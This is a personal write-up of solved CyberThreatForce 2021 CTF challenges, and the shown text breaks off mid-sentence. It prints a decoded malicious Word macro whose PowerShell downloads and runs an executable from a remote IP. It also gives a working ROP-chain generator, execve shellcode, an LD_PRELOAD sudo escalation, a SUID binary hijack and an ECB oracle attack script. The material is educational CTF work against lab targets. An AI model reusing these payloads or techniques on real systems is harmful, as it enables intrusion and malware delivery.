日本語版: CyberThreatForce CTF (2021) writeup - Qiita
About
I participated in CyberThreatForce CTF (July 3, 2021 05:00 - July 5, 2021 05:00 (JST: UTC+9)) (CTFtime.org) as a one-person team.
I earned 2710 points and ranked 25th among 197 teams which earned positive points.
Here is a list of challenges I solved:
Challenge | Category | Value | Time (JST: UTC+9) |
---|---|---|---|
Return To The School | Misc | 250 | 07/03 09:25:50 |
Strange File | steganography | 200 | 07/03 09:37:29 |
YZY | Network | 50 | 07/03 10:05:18 |
Strange Service | crypto | 250 | 07/03 12:54:39 |
The document is strange | Reverse | 75 | 07/03 14:20:36 |
Synopsis | misc | 10 | 07/03 19:45:13 |
TakeYourTime | Reverse | 200 | 07/03 20:21:32 |
Bof_1 | Pwn | 100 | 07/04 00:54:00 |
Bof_1 Get Shell | Pwn | 200 | 07/04 01:00:19 |
(Un)Efficient Encryption | crypto | 300 | 07/04 03:03:59 |
PrivEsc | Pwn | 100 | 07/04 03:46:29 |
Bof_1 PrivEsc | Pwn | 200 | 07/04 04:18:13 |
FlagChecker | Reverse | 400 | 07/04 06:08:08 |
The Mole | Network | 75 | 07/04 08:02:18 |
Exfiltration | Network | 250 | 07/04 08:25:55 |
Usb Key Cemetery | Forensic | 50 | 07/04 09:39:52 |
Score over Time on CTFd (plotted with constant interval ignoring the time solved at in the horizontal axis)
Tools mainly used
Online tools
Tools to download
Categories from which I solved no challenges
- IA
- Red Team
- Web
- Osint
- Brainfuck
- Blockchain
- Game Hacking
Challenges I solved
Reverse
The document is strange
A file CV.doc
was given.
It was deleted by Kaspersky at first, so I downloaded that with the protection suspended and
added its path to the exclusion list.
Opening the file with LibreOffice, it said that the file contains some macro.
Checking with "Tools -> Macro -> Edit macro",
there was some code in CV.doc / Project / Modules / NewMacros
.
Firstly, the names of variables and functions are random sequences of alphabets and it was hard to read,
so I replaced them to simple names like func1
.
After that, I found many lines that is passing some strange data to functions like this:
f5_str5 = func1(Array(((123 - 59) + (21 - 7)), (29 + 36), (14 + (109 - 49)), (2 + 130), ((29 + 97) Xor 244), ((25 - 6) Xor 13), ((75 + 13) Xor (206 - 60)), ((62 - 9) Xor (77 + (62 - 10))), 172, (54 Xor 81), 192, (38 Xor 132), (128 - 27)), Array((2 + 32), 32, 63, (68 Xor 174), (171 Xor 66), 118, 175, (142 Xor 72), (61 + (105 - 8)), 73, (37 + (141 - 16)), (183 Xor (197 - 81)), ((6 - 0) + 11)))
The function func1
(after renaming) is:
Private Function func1(f1_arg1 As Variant, f1_arg2 As Variant)
Dim f1_str1 As String
f1_str1 = ""
For i = LBound(f1_arg1) To UBound(f1_arg1)
f1_str1 = f1_str1 & Chr(f1_arg2(i) Xor f1_arg1(i))
Next
func1 = f1_str1
End Function
I translated this to JavaScript:
function func1(a, b) {
let res = "";
for (let i = 0; i < a.length; i++) {
res += String.fromCharCode(a[i] ^ b[i]);
}
return res;
}
Now the code can be executed as JavaScript with replacing Xor
with ^
and & _
with +
.
(Array
is available in JavaScript, but some special care is required because it treats single argument as the number of elements)
Decoding using this, I got this code:
Code after decoding the strings
Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Private Declare PtrSafe Function Sleep Lib "KERNEL32" (ByVal mili As Long) As Long
Private Function func1(f1_arg1 As Variant, f1_arg2 As Variant)
Dim f1_str1 As String
f1_str1 = ""
For i = LBound(f1_arg1) To UBound(f1_arg1)
f1_str1 = f1_str1 & Chr(f1_arg2(i) Xor f1_arg1(i))
Next
func1 = f1_str1
End Function
Sub func2()
func3
End Sub
Sub AutoOpen()
func3
End Sub
Sub func3()
Sleep (2000)
func4
func5
func6
End Sub
Sub func4()
Dim f4_str1 As String
Dim f4_str2 As String
Dim f4_str3 As String
Dim f4_str4 As String
Dim f4_str5 As String
Dim f4_str6 As String
f4_str1 = "JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBwAGEAdABjAGgALgBlAHgAZQAiAA0ACgAkAFcAZQBiAEYAaQBsAGUAIAA9ACAAIgBoAHQAdABwADoALwAvADEANQAyAC4AMgAyADgALgAxADMAMwAuADY"
f4_str2 = "AOAAvACQAUAByAG8AYwBOAGEAbQBlACIADQAKACAADQAKACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBs"
f4_str3 = "AG8AYQBkAEYAaQBsAGUAKAAkAFcAZQBiAEYAaQBsAGUALAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApAA0ACgBTAHQAYQByAHQALQBQA"
f4_str4 = "HIAbwBjAGUAcwBzACAAKAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApAA=="
f4_str5 = f4_str1 + f4_str2 + f4_str3 + f4_str4
f4_str6 = "powershell.exe -exec bypass -enc " + f4_str5
Dim f4_str8 As String
f4_str8 = "C:\\Users\\" + Application.UserName + "\\AppData\\Local\\Temp\\launcher2.txt"
Dim f4_obj1 As Object
Set f4_obj1 = CreateObject("Scripting.FileSystemObject")
Dim f4_obj2 As Object
Set f4_obj2 = f4_obj1.CreateTextFile(f4_str8)
f4_obj2.Write f4_str6
End Sub
Sub func5()
Dim f5_str1 As String
f5_str1 = "C:\\Users\\" + Application.UserName + "\\AppData\\Local\\Temp\\"
Dim f5_str4 As String
Dim f5_str5 As String
f5_str4 = "launcher2.txt"
f5_str5 = "launcher2.bat"
Name f5_str1 & f5_str4 As f5_str1 & f5_str5
End Sub
Sub func6()
Dim f4_str8 As String
f4_str8 = "C:\\Users\\" + Application.UserName + "\\AppData\\Local\\Temp\\launcher2.bat"
Shell f4_str8, vbHide
Sleep (2000)
Kill f4_str8
End Sub
I got this by applying "From Base64 -> Decode text (UTF-16LE (1200))" via CyberChef to the contents of `f4_str5:
$ProcName = "patch.exe"
$WebFile = "http://152.228.133.68/$ProcName"
(New-Object System.Net.WebClient).DownloadFile($WebFile,"$env:APPDATA\$ProcName")
Start-Process ("$env:APPDATA\$ProcName")
Seeing this, I downloaded http://152.228.133.68/patch.exe
shown here.
It was blocked by Kaspersky, so I suspended the protection.
Applying "Decode text (UTF-16LE (1200))" via CyberChef to the downloaded file,
I found a string http://152.228.133.68/staged_payload.txt
from the result.
Therefore I downloaded a file from the URL.
It was blocked by Kaspersky again, so I suspended the protection again.
The flag was in the file downloaded.
CYBERTF{M4cr0_D0wnl0ad3r_1s_D0wn}
TakeYourTime
An ELF file TakeYourTime
was given.
Disassembling via objdump
from TDM-GCC and examining,
there didn't seem any part to read input, and I found it was calling this fibonacci
function.
The `fibonacci` function
0000000000001169 <fibonacci>:
1169: 55 push %rbp
116a: 48 89 e5 mov %rsp,%rbp
116d: 53 push %rbx
116e: 48 83 ec 18 sub $0x18,%rsp
1172: 48 89 7d e8 mov %rdi,-0x18(%rbp)
1176: 48 83 7d e8 00 cmpq $0x0,-0x18(%rbp)
117b: 75 07 jne 1184 <fibonacci+0x1b>
117d: b8 00 00 00 00 mov $0x0,%eax
1182: eb 34 jmp 11b8 <fibonacci+0x4f>
1184: 48 83 7d e8 01 cmpq $0x1,-0x18(%rbp)
1189: 75 07 jne 1192 <fibonacci+0x29>
118b: b8 01 00 00 00 mov $0x1,%eax
1190: eb 26 jmp 11b8 <fibonacci+0x4f>
1192: 48 8b 45 e8 mov -0x18(%rbp),%rax
1196: 48 83 e8 01 sub $0x1,%rax
119a: 48 89 c7 mov %rax,%rdi
119d: e8 c7 ff ff ff callq 1169 <fibonacci>
11a2: 48 89 c3 mov %rax,%rbx
11a5: 48 8b 45 e8 mov -0x18(%rbp),%rax
11a9: 48 83 e8 02 sub $0x2,%rax
11ad: 48 89 c7 mov %rax,%rdi
11b0: e8 b4 ff ff ff callq 1169 <fibonacci>
11b5: 48 01 d8 add %rbx,%rax
11b8: 48 8b 5d f8 mov -0x8(%rbp),%rbx
11bc: c9 leaveq
11bd: c3 retq
Expressed in C, the function is doing this:
What the function `fibonacci` does
uint64_t fibonacci(uint64_t x) {
uint64_t rbx;
/* 1176 */
if (x == 0) {
return 0;
}
/* 1184 */
if (x == 1) {
return 1;
}
/* 1192 */
rbx = fibonacci(x - 1);
/* 11a5 */
return rbx + fibonacci(x - 2);
}
This is a calculation of The Fibonacci Sequence as the function name suggests.
Seeing this, I created a program that calculates The Fibonacci Sequence in the usual way.
The program to calculate The Fibonacci Sequence in the usual way
#include <stdio.h>
#include <inttypes.h>
uint64_t fibonacci(uint64_t x) {
uint64_t p, c, n, i;
if (x == 0) return 0;
if (x == 1) return 1;
p = 0;
c = 1;
for (i = 1; i < x; i++) {
n = p + c;
p = c;
c = n;
}
return c;
}
int main(void) {
uint64_t i;
for (i = 0; i < 10; i++) {
printf("%" PRIu64 " %" PRIu64 "\n", i, fibonacci(i));
}
return 0;
}
I compiled this program on CS50 IDE. Then, I revealed where the new fibonacci
function is
by disassembling it via objdump
from TDM-GCC.
This is the new fibonacci
function, which is smaller than the fibonacci
function in TakeYourTime
:
The new `fibonacci` function, disassembled
0000000000001260 <fibonacci>:
1260: f3 0f 1e fa endbr64
1264: 31 c0 xor %eax,%eax
1266: 48 85 ff test %rdi,%rdi
1269: 74 27 je 1292 <fibonacci+0x32>
126b: b8 01 00 00 00 mov $0x1,%eax
1270: 48 83 ff 01 cmp $0x1,%rdi
1274: 74 1c je 1292 <fibonacci+0x32>
1276: ba 01 00 00 00 mov $0x1,%edx
127b: 31 c9 xor %ecx,%ecx
127d: 0f 1f 00 nopl (%rax)
1280: 48 89 c6 mov %rax,%rsi
1283: 48 83 c2 01 add $0x1,%rdx
1287: 48 01 c8 add %rcx,%rax
128a: 48 89 f1 mov %rsi,%rcx
128d: 48 39 d7 cmp %rdx,%rdi
1290: 77 ee ja 1280 <fibonacci+0x20>
1292: c3 retq
1293: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
129a: 00 00 00
129d: 0f 1f 00 nopl (%rax)
After that, I overwrote the binary of the new fibonacci
function
to where the fibonacci
function is in TakeYourTime
and executed that on CS50 IDE.
As a result, it produced this output:
CYBERTF{Fuck_Fibo_3v3ryWhere}
Good you can validate the chall with this password ;)!
Now I got the flag.
CYBERTF{Fuck_Fibo_3v3ryWhere}
FlagChecker
An ELF file program
was given.
I disassembled that via objdump
from TDM-GCC. The result was long and it was unclear where to execute.
I executed the program on CS50 IDE, getting this result:
~/ $ ./program
./program FLAG
~/ $ ./program aaa
failed
Seeing the file, the string FLAG
was from the 0x5f1f8-th byte and
the string failed
was from the 0x5f1c8-th byte and 0x5f1d8-th byte.
Also there was a string Success
from the 0x5f1e8-th byte. (The first byte is 0-th byte)
Adding 0x1000 (from my experience) from these offsets and examining the disassembler output,
The string Success
was used at 0x20350, and the string failed
was used on 0x2035e and 0x20376.
Therefore, there should be some code to check the flag before them.
Some more examination revealed:
- 0x20376 is executed when the
camlReverse__firstCheck_268
function returns 1 - 0x2035e is executed when the
camlReverse__listequal_92
function returns 1
Seeing this, I examined the camlReverse__firstCheck_268
function.
Reading the code didn't give good insight to me, so I executed with GDB on CS50 IDE and examined.
The `camlReverse__firstCheck_268` function
0000000000020100 <camlReverse__firstCheck_268@@Base>:
20100: 48 83 ec 18 sub $0x18,%rsp
20104: 48 83 f8 01 cmp $0x1,%rax
20108: 74 4a je 20154 <camlReverse__firstCheck_268@@Base+0x54>
2010a: 48 83 fb 01 cmp $0x1,%rbx
2010e: 74 38 je 20148 <camlReverse__firstCheck_268@@Base+0x48>
20110: 48 89 1c 24 mov %rbx,(%rsp)
20114: 48 89 44 24 08 mov %rax,0x8(%rsp)
20119: 48 8b 33 mov (%rbx),%rsi
2011c: 48 8b 38 mov (%rax),%rdi
2011f: 48 8d 05 2a 1a 01 00 lea 0x11a2a(%rip),%rax # 31b50 <caml_equal@@Base>
20126: e8 f1 76 02 00 callq 4781c <caml_c_call@@Base>
2012b: 4d 8b 3e mov (%r14),%r15
2012e: 48 83 f8 01 cmp $0x1,%rax
20132: 74 30 je 20164 <camlReverse__firstCheck_268@@Base+0x64>
20134: 48 8b 04 24 mov (%rsp),%rax
20138: 48 8b 58 08 mov 0x8(%rax),%rbx
2013c: 48 8b 44 24 08 mov 0x8(%rsp),%rax
20141: 48 8b 40 08 mov 0x8(%rax),%rax
20145: eb bd jmp 20104 <camlReverse__firstCheck_268@@Base+0x4>
20147: 90 nop
20148: b8 03 00 00 00 mov $0x3,%eax
2014d: 48 83 c4 18 add $0x18,%rsp
20151: c3 retq
20152: 66 90 xchg %ax,%ax
20154: 48 83 fb 01 cmp $0x1,%rbx
20158: 74 0a je 20164 <camlReverse__firstCheck_268@@Base+0x64>
2015a: b8 01 00 00 00 mov $0x1,%eax
2015f: 48 83 c4 18 add $0x18,%rsp
20163: c3 retq
20164: b8 01 00 00 00 mov $0x1,%eax
20169: 48 83 c4 18 add $0x18,%rsp
2016d: c3 retq
2016e: 66 90 xchg %ax,%ax
The examination revealed this:
- 0x2011f: Compare
%rdi
(values based on input data) and%rsi
(the target value) and return 1 is they differ - 0x20108: Return 1 if the input sequence is not longer than the target sequence
- 0x2010a: Return 3 if the conditions above aren't met
Also, the "values based on input data" was the character codes of each characters entered
with multiplied by two and added one.
Examining with GDB using these information, I found that an input CYBERTF{Gox
makes the function return 3.
(The last x
is for making the input longer than the target sequence)
Also I found that the sequences used here is expressed as linked lists with nodes
made of the value and a pointer to the next node.
The code just before the second check was:
20332: 48 8d 1d 77 fe 03 00 lea 0x3fe77(%rip),%rbx # 601b0 <camlReverse__9@@Base>
20339: e8 52 fb ff ff callq 1fe90 <camlReverse__xor_103@@Base>
2033e: 48 8d 1d c3 fe 03 00 lea 0x3fec3(%rip),%rbx # 60208 <camlReverse__82@@Base>
20345: e8 d6 fa ff ff callq 1fe20 <camlReverse__listequal_92@@Base>
2034a: 48 83 f8 01 cmp $0x1,%rax
2034e: 74 0e je 2035e <camlReverse__entry@@Base+0x1ee>
Examining with GDB, I found that the values in %rbx
just before calling the camlReverse__xor_103
function
and camlReverse__listequal_92
function are address of the linked lists.
These linked lists seemed embed in the file program
,
so I extracted the data from the linked lists using this program:
The program to extract data from the linked lists in the file
Specify the name of the file to extract the data from as the first argument and
the place in the file of the first node of the linked list as the second argument.
#!/usr/bin/perl
use strict;
use warnings;
if (@ARGV != 2) {
die "Usage: perl read_list.pl file addr\n";
}
my $file = $ARGV[0];
my $addr = int($ARGV[1]);
open(FP, "< $file") or die("file open error\n");
binmode(FP);
my $data = "";
while (<FP>) { $data .= $_; }
close(FP);
while ($addr != 1 - 0x1000) {
printf("0x%04x, ", unpack("Q", substr($data, $addr, 8)));
$addr = unpack("Q", substr($data, $addr + 8, 8)) - 0x1000;
}
print "\n";
Using the data from the linked list pointed at by %rbx
just before calling the camlReverse__xor_103
function as xor_list
,
and the data from the linked list pointed at by %rbx
just before calling the camlReverse__listequal_92
function as data_list
,
I obtained a string using the following Python program.
(I thought I should calculate exclusive-or from the name of the function camlReverse__xor_103
.
Then I thought the list should be used repeatedly because the list xor_list
was short.
Also, considering the result of examination of the camlReverse__firstCheck_268
function,
I used the obtained values divided by two as character codes.)
xor_list = [0x000b, 0x00f5, 0x00a7, 0x01ab, 0x0107, 0x01b1, 0x0187, 0x01fd]
data_list = [0x00d3, 0x0037, 0x007b, 0x0165, 0x01b9, 0x0163, 0x0161, 0x0143, 0x0083, 0x0093, 0x0027, 0x0163, 0x01b9, 0x01d3, 0x015b, 0x0143, 0x008d, 0x005d, 0x002b, 0x0115, 0x0165, 0x01df, 0x01f5, 0x0197, 0x00cf, 0x009d, 0x0065, 0x01db, 0x0175, 0x01df, 0x01e7, 0x018d, 0x006d, 0x009b, 0x00c5, 0x0163, 0x0165, 0x01dd, 0x01f5, 0x018d, 0x006f, 0x0097, 0x00d5, 0x01c1, 0x016b, 0x01d9, 0x01e3, 0x0191, 0x006d, 0x0085, 0x0061, 0x0163, 0x0169, 0x01df, 0x01f7, 0x019b, 0x0079, 0x0087, 0x00d7, 0x01c9, 0x0177, 0x01c1, 0x017d]
data = [xor_list[i % len(xor_list)] ^ data_list[i] for i in range(len(data_list))]
data_str = "".join([chr(d // 2) for d in data])
The result is:
lang_is_D3@d_1n_CTF_1795b4a89708371d16982195642638cd7783998188}
I obtained the flag by merging this string and the string obtained from the examination of the camlReverse__firstCheck_268
function.
CYBERTF{Golang_is_D3@d_1n_CTF_1795b4a89708371d16982195642638cd7783998188}
steganography
Strange File
A file 74df9ed7b79cfcbca84002619b670802.png
was given.
Viewing with TSXBIN, the first part was:
0000 Signature[0] D9 10 3D 34 7A 3A 2A 78
0008 DateLength 6450407E
000C BlockType[0] 3A 3F 74 62
The first BlockType of a PNG file should be IHDR
.
Using XOR on CyberChef, it gave me sw00
.
Also, the Signature of a PNG file should be 89 50 4E 47 0D 0A 1A 0A
.
Using XOR on CyberChef, it gave me P@ssw00r
.
Moreover, the first 3 bytes of DateLength was dP@
while they should be zero.
From these information, it seemed I should calculate exclusive-or with using P@ssw00rd
repeatedly.
Doing this on CyberChef and applying Render Image, it showed the following image.
It looked like a QR Code with the color of the markers inverted.
I obtained the flag by applying Parse QR Code on CyberChef to this image.
CYBERTF{H1dD3n_M3Ss4g3_Fr0m_G4r1z0V}
"QR Code" is a registered trademark of DENSO WAVE INCORPORATED.
crypto
Strange Service
A TCP server was provided.
The server sends back AES-encrypted data of what is sent (until LF) plus a secret data concatenated.
Examining with sending some random data via TCP/IPテストツール, I found this:
- The last part of the output should be the same when the length of the input is the same
- The last part of the output should be same when the length of the input is increased by 16 bytes
This suggested that the encryption is done for each blocks independently.
Therefore, adjusting the length of input and obtaining an encrypted block of "known 15 bytes plus unknown 1 byte",
we can obtain the unknown 1 byte by brute-forcing.
Repeating this, the entire "secret data" should be revealed one-by-one from the front.
Actually the "secret data" is revealed with this program. It costed about 45 minutes.
A program to reveal the "secret data"
#!/usr/bin/perl
use IO::Socket;
if (@ARGV != 2) { die "Usage: perl attack.pl addr port\n"; }
my $addr = $ARGV[0];
my $port = $ARGV[1];
sub query {
my $q = $_[0];
my $sock = new IO::Socket::INET(PeerAddr=>$addr, PeerPort=>$port, Proto=>"tcp");
die "socket error: $!" unless $sock;
binmode($sock);
print $sock ($q . "\n");
my $res = "";
while (<$sock>) { $res .= $_; }
close($sock);
return substr($res, 7); # cut "input: "
}
my $empty = &query("");
my $len = length($empty);
my $ans = "#" x 16;
for (my $i = 0; $i < $len; $i++) {
my $add_len = 15 - $i % 16;
my $offset = ($i >> 4) * 16;
my $target = &query("#" x $add_len);
my $search_prefix = substr($ans, length($ans) - 15);
my $answer = 0x0a;
for (my $j = 0; $j < 256; $j++) {
if ($j % 16 == 0) { print STDERR sprintf("%X", $j >> 4); }
if ($j == 0x0a) { next; }
my $search_test = &query($search_prefix . chr($j));
if (substr($search_test, 0, 16) eq substr($target, $offset, 16)) {
$answer = $j;
last;
}
}
$ans .= chr($answer);
print STDERR sprintf(" ans = 0x%02X done %d / %d\n", $answer, $i + 1, $len);
}
$ans = substr($ans, 16);
print "$ans\n";
The flag was contained in this "secret data".
CYBERTF{WTF_It's_u$eless_in_real_w0rld}
(Un)Efficient Encryption
Files comm1.pcapng
, comm2.pcapng
, and synopsis.txt
were given.
Opening comm1.pcapng
with Wireshark and using "Follow -> TCP Stream", the following text appeared:
Hey, could you generate an rsa key for me ? I Dont know how to do it
Yes sure, i just need a prime integer to generate it
Just take a random one, like 347 for example
Perfect, i'll keep you in touch
Doing like this, the following text appeared from comm2.pcapng
:
Hello
-----BEGIN PUBLIC KEY-----
MBwwDQYJKoZIhvcNAQEBBQADCwAwCAIDBGOvAgER
-----END PUBLIC KEY-----
71436 176304 185211 110406 35389 179680 56238 185211 207993 237729 176304 207993 185211 192576 237729 95070 171155 207993 35389 185211 110406 140230 92028 110406 140230 246626 82805
95994 185211 110406 176304 192576 230623 185211 110406 237729 171155 110406 247756 185211 192576 230623 185211 110406 237729 176304 140230 92028 110406 232955 247756 192576 35389 185211 82805
194813 185211 207993 185211 110406 140230 92028 110406 237729 176304 185211 110406 92028 185211 35389 207993 185211 237729 110406 35389 171155 171098 185211 110406 105244 110406 228171 207520 180458 196399 104282 71436 31634 106170 103296 132591 35389 69499 171098 196399 24720 104282 92028 59381 24720 230238 230238 36350
Applying "From Base64 -> To Hex > Parse ASN.1 hex string" via CyberChef to the text between
-----BEGIN PUBLIC KEY-----
and -----END PUBLIC KEY-----
in the text from comm2.pcapng
,
I got the following result:
SEQUENCE
SEQUENCE
ObjectIdentifier rsaEncryption (1 2 840 113549 1 1 1)
NULL
BITSTRING, encapsulates
SEQUENCE
INTEGER 0463af..(total 3bytes)..0463af
INTEGER 11..(total 1bytes)..11
Note that 0x0463af = 287663 = 347 * 829
.
Assuming that this is n
and the following integer 0x11 = 17
is e
, referring
RSA (cryptosystem) - Wikipedia, I calculated d
with Python like this:
# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
if b == 0:
return (1, 0)
s, t = kago(b, a % b)
return (t, s - (a // b) * t)
p = 346 * 828
e = 17
d, _ = kago(e, p)
The result is d = 67409
.
Then, using this d
and n
, I performed RSA decryption via Python to the sequence of numbers
after -----END PUBLIC KEY-----
.
data = [
71436,176304,185211,110406,35389,179680,56238,185211,207993,237729,176304,207993,185211,192576,237729,95070,171155,207993,35389,185211,110406,140230,92028,110406,140230,246626,82805,
95994,185211,110406,176304,192576,230623,185211,110406,237729,171155,110406,247756,185211,192576,230623,185211,110406,237729,176304,140230,92028,110406,232955,247756,192576,35389,185211,82805,
194813,185211,207993,185211,110406,140230,92028,110406,237729,176304,185211,110406,92028,185211,35389,207993,185211,237729,110406,35389,171155,171098,185211,110406,105244,110406,228171,207520,180458,196399,104282,71436,31634,106170,103296,132591,35389,69499,171098,196399,24720,104282,92028,59381,24720,230238,230238,36350
]
n = 287663
res = [pow(d_elem, d, n) for d_elem in data]
res2 = "".join([chr(r) for r in res])
The result is
The cyberthreatforce is in.We have to leave this place.Here is the secret code : CYBERTF{D3c0dE_Rs4_!!}
I got the flag.
CYBERTF{D3c0dE_Rs4_!!}
Pwn
PrivEsc
A SSH server was provided.
Connecting with Tera Term and examining, I found a flag.txt
, but it cannot be read due to its permission.
ctf@281b0d1785d6:/home/ctf_cracked$ ls -l
total 4
-r-------- 1 ctf_cracked ctf_cracked 36 Jun 25 13:33 flag.txt
I googled "ctf ssh 権限昇格" and found:
Wgel CTF 解説 (Writeup) [TryHackMe] - はまやんはまやんはまやん
I tried sudo -l
command used here and it resulted in this:
ctf@281b0d1785d6:/home/ctf_cracked$ sudo -l
Matching Defaults entries for ctf on 281b0d1785d6:
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
env_keep+=LD_PRELOAD
User ctf may run the following commands on 281b0d1785d6:
(ctf_cracked) NOPASSWD: /opt/Ivazov
LD_PRELOAD
is enabled and there is a suspicious path /opt/Ivazov
.
It looked executable, so I executed that and it printed some Cyrillic characters.
ctf@281b0d1785d6:/home/ctf_cracked$ ls -l /opt/Ivazov
-rw-r-xr-x 1 root root 16088 Jun 25 13:33 /opt/Ivazov
ctf@281b0d1785d6:/home/ctf_cracked$ /opt/Ivazov
Ивазов недоволен
I downloaded /opt/Ivazov
via SCP and disassembled that via objdump
from TDM-GCC.
It looked just printing one string via puts
function and exiting.
I downloaded /lib/x86_64-linux-gnu/libc-2.28.so
via SCP disassembled that via objdump
from TDM-GCC.
It revealed the place of the puts
(_IO_puts@@GLIBC_2.2.5
) function.
Then, I overwrote this program to launch the shell, assembled with NASM,
from that place and uploaded the modified file via SCP.
bits 64
mov eax, 59
mov rdi, 0x68732f6e69622f
push rdi
mov rdi, rsp
xor esi, esi
xor edx, edx
syscall
This page was helpful to know how to have it load a library via LD_PRELOAD
on sudo
:
Privilege Escalation - SUDO - LD_PRELOAD
Using this, I succeeded to launch a shell as the user ctf_cracked
.
ctf@281b0d1785d6:/tmp/work$ ls -l
total 1784
-rw-r--r-- 1 ctf ctf 1824496 Jul 3 18:45 libc-2.28-patched.so
ctf@281b0d1785d6:/tmp/work$ chmod a+x libc-2.28-patched.so
ctf@281b0d1785d6:/tmp/work$ sudo -u ctf_cracked LD_PRELOAD=/tmp/work/libc-2.28-patched.so /opt/Ivazov
$ id
uid=1001(ctf_cracked) gid=1001(ctf_cracked) groups=1001(ctf_cracked)
$ cat /home/ctf_cracked/flag.txt
CYBERTF{LD_PRELOAD_2_Bypass_Ivazov}
$ exit
I obtained the flag using this.
CYBERTF{LD_PRELOAD_2_Bypass_Ivazov}
Bof_1
A TCP server was provided and a large (about 900KiB) ELF file was given.
The challenge description said that the goal is to extract the flag in the new file based on the old file given.
Disassembling the ELF file via objdump
in TDM-GCC and examining, I found that the program does:
- Output some string via
puts
function - Read some data using
%s
format specifier ofscanf
function - Output the data read plus something using
%s
format specifier ofprintf
function
The data is read to the stack and its structure is "0x30-byte buffer, previous RBP, return address".
Seeing this, I searched for gadgets for ROP (Return-oriented Programming).
I found these gadgets:
pop rax; ret (58 c3) 40302c
pop rsi; ret (5e c3) 40880e
pop rdi; ret (5f c3) 401ede
syscall: ret (0f 05 c3) 41ca64
However, I couldn't find pop rdx; ret (5a c3)
.
Doing more investigation, I found two parts that are useful.
403e30: 4c 89 ea mov %r13,%rdx
403e33: 4c 89 e6 mov %r12,%rsi
403e36: 89 ef mov %ebp,%edi
403e38: 41 ff 14 df callq *(%r15,%rbx,8)
This part can be used to set RDX, which didn't seem possible to set via simple gadgets.
49d4ef: 48 89 45 10 mov %rax,0x10(%rbp)
49d4f3: 48 83 c4 38 add $0x38,%rsp
49d4f7: 4c 89 f8 mov %r15,%rax
49d4fa: 5b pop %rbx
49d4fb: 5d pop %rbp
49d4fc: 41 5c pop %r12
49d4fe: 41 5d pop %r13
49d500: 41 5e pop %r14
49d502: 41 5f pop %r15
49d504: c3 retq
This part can write data to an arbitrary location on the memory.
I decided to have it execute execve("/bin/sh, 0, 0)
using them.
I generated an input data to achieve this using this program:
A program to generate an input data for launching the shell
#!/usr/bin/perl
use strict;
use warnings;
binmode(STDOUT);
my $pop_rax = 0x40302c;
my $syscall = 0x41ca64;
my $mov_rbp = 0x49d4ef;
my $mov_call = 0x403e30;
my $buffer_addr = 0x4cf5d0;
my $data =
("x" x 0x30) . # fill buffer
pack("Q", $buffer_addr - 0x10) . # rbp to set
pack("Q", $pop_rax) . # return address
"/bin/sh\0" . # rax to set
pack("Q", $mov_rbp) . # return address
("x" x 0x38) . # for add to rsp
("x" x 8) . # rbx to set
pack("Q", $buffer_addr + 8 - 0x10) . # rbp to set
("x" x (8 * 4)) . # r12, r13, r14, r15 to set
pack("Q", $pop_rax) . # return address
pack("Q", $syscall) . # rax to set
pack("Q", $mov_rbp) . # return address
("x" x 0x38) . # for add to rsp
pack("Q", 0) . # rbx to set
pack("Q", $buffer_addr) . # rbp to set
pack("Q", 0) . # r12 to set
pack("Q", 0) . # r13 to set
("x" x 8) . # r14 to set
pack("Q", $buffer_addr + 8) . # r15 to set
pack("Q", $pop_rax) . # return address
pack("Q", 59) . # rax to set
pack("Q", $mov_call) . # return address
"\n";
print $data;
Connecting the server via Tera Term and sending the file via "Send File (Paste content of file)" as binary,
I gained an access to the shell.
I executed ls
and found a file service
that should be the ELF file in the challenge.
It looked too large to download the whole file, so I used dd
to retrieve the part
that should contain the flag, referring to the file given.
dd if=service bs=1 skip=651264 count=256
As a result, I obtained the flag.
CYBERTF{B@sic_Buff3r_Ov3rflow}
Bof_1 Get Shell
This challenge description was given.
Nice You success to read the flag. But now we need to get shell.
Launching the shell in the same way as the challenge Bof_1 and examining,
I found flag.txt
in /home/ctf
and reading this gave me the flag.
cd /home
ls -l
total 8
dr-xr-xr-x 1 root root 4096 Jun 29 13:05 ctf
dr-xr-xr-x 1 ctf_cracked ctf_cracked 4096 Jun 29 13:05 ctf_cracked
cd ctf
pwd
/home/ctf
ls -l
total 4
-r--r--r-- 1 root root 24 Jun 29 11:24 flag.txt
cat flag.txt
CYBERTF{B@sic_R0PChain}
CYBERTF{B@sic_R0PChain}
Bof_1 PrivEsc
This challenge description was given.
Require Bof_1 Get Shell Great ! Our secret service has informed us that a secret file is present on the machine.
Launching the shell in the same way as the challenge Bof_1 and examining,
I found flag.txt
in /home/ctf_cracked
. The file cannot be read normally due to its permission.
cd /home
ls -l
total 8
dr-xr-xr-x 1 root root 4096 Jun 29 13:05 ctf
dr-xr-xr-x 1 ctf_cracked ctf_cracked 4096 Jun 29 13:05 ctf_cracked
cd ctf_cracked
ls -l
total 4
-r-------- 1 ctf_cracked ctf_cracked 39 Jun 29 11:24 flag.txt
cat flag.txt
cat: flag.txt: Permission denied
More investigation revealed that /bin
has a suspicious file:
-r-sr-xr-x 1 ctf_cracked ctf_cracked 16400 Jun 29 13:04 check
So I downloaded this file via the base64
command.
This was an ELF file. I disassembled via objdump
in TDM-GCC and investigated.
As a result, I found that it is executing a command md5sum /home/ctf_cracked/flag.txt
via popen
function.
Also, SUID was set to this file, so this file would be executed as the user ctf_cracked
.
To utilize this, I created this program and compiled on CS50 IDE.
This program copies the file specified by the argument to /tmp/out.txt
.
#include <stdio.h>
int main(int argc, char* argv[]) {
FILE* fp = argc < 2 ? stdin : fopen(argv[1], "r");
FILE* fpout = fopen("/tmp/out.txt", "w");
int c;
if (fp == NULL || fpout == NULL) {
if (fp) fclose(fp);
if (fpout) fclose(fpout);
return 1;
}
while ((c = getc(fp)) != EOF) fputc(c, fpout);
fclose(fp);
fclose(fpout);
return 0;
}
I applied "Gzip -> To Base64" on CyberChef to the compiled binary and
put the file to the server as a file md5sum
using base64
